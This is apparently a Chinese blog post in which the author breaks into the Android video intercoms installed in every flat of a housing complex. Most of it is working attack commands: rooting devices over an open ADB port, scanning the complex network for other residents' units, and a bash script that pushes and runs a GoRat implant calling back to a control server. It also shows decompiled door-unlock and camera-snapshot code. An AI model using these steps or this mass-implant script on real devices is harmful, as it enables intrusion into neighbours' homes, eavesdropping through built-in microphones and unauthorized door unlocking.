控制整个小区住户的智能家居与可视对讲
前言
看了一眼小区用的可视对讲,是一个小的平板,后面可以插网线,开机之后发现明显就是一个安卓套壳;
该设备的主要用途是用于开楼下单元门、与其他业主通讯、控制家里的智能家居;因为是精装房,所以也就是所有住户家里都会装这么个东西,而且这玩意是带麦克风的,如果一旦沦陷,后果很严重。
针对这种小区对讲的渗透思路还是比较简单的,要么找个路由插上可视对讲的网线,
对这个小区网络进行扫描然后在找弱点,要么把这个设备pwn下来,接着往下打。
ADB
看到安卓设备,第一反应就是扫一下ADB是不是开了,默认端口5555
果然开了,下面就直接连上去
adb connect 192.168.50.138:5555
# 切换到root
adb root
adb shell
看一下正在运行的UI是属于哪个程序
adb shell dumpsys activity top | grep ACTIVITY
然后把对应的apk先下回来留档案。
一般都在/data/app目录下
下载到本地
adb pull /data/app/xxx/xxx.apk smart.apk
沦陷
看了眼netmask,
inet addr:192.168.14.10 Bcast:192.168.15.255 Mask:255.255.248.0
计算出可用地址空间是192.168.6.1-192.168.15.255
因为设备是arm的,用go写一个端口扫描,编译成arm版本传上去进行扫描,
# 编译
GOOS=linux GOARCH=arm go build portscan
# 上传
adb push portscan /mnt/tmp
扫描得到小区所有正在使用的可视对奖的设备,剩下就是开个代理或插根网线批量上马了。
扩大战果
把gorat编译一份arm版本
#arm
CGO_ENABLED=0 GOOS=linux GOARCH=arm go build -o ../goratServer/module/template/client_linux_arm -ldflags "-s -w" linux.go
在生成一个马上线到我的可视对讲设备,因为这个设备默认是不联外网的,我是自己手动链接的wifi,所以通过内网上线到我的设备
adb connect host
adb shell
adb shell 'mkdir /mnt/tmp/;chmod 777 /mnt/tmp/'
adb push client /mnt/tmp/
adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client'
上线成功
然后在通过GoRat横向上线
上线命令改成
adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client http://192.168.14.10:65443/'
即可。
这样就可以通过我自己的对讲设备作为中继,上线到我家庭内网了。
写个自动传马的bash
adb kill-server
adb connect $1
adb root;adb shell 'mkdir /data/mnt/;chmod 777 /data/tmp/'; adb push client_linux_arm /mnt/tmp/client;adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client http://192.168.14.10:65443/'
随便上线几台机器测试一下
智能家居
之前第一步就把可视对讲的apk拉到本地了,用jadx反编译一下
所有的方法基本都在这个package下面
比如说开锁的代码如下
private class monitorLock implements Runnable {
private monitorLock() {
}
public void run() {
if (MonitorActivity.mMonitorState == 4 || MonitorActivity.mMonitorState == 5) {
new Message();
MonitorActivity.this.mInterCommClient.InterMonitorUnlock();
}
}
}
private class monitorSnap implements Runnable {
private monitorSnap() {
}
public void run() {
if (MonitorActivity.mMonitorState == 4 || MonitorActivity.mMonitorState == 5) {
MonitorActivity monitorActivity = MonitorActivity.this;
monitorActivity.mSnapPath = monitorActivity.mInterCommClient.InterSnap(2);
}
}
}
简单了解其实就是通过InterCommClient进行串口通讯,发送指定格式的消息即会执行对应的动作,只要我们用他的sdk在重写一个程序即可,这部分就留着下次在折腾了。
后记
突然想起来,有邻居曾经在群里反应过说可视对讲大半夜会自动呼叫管理员或发出莫名其妙的声音。。这玩意甚至是自带麦克风的。。果断断电保平安。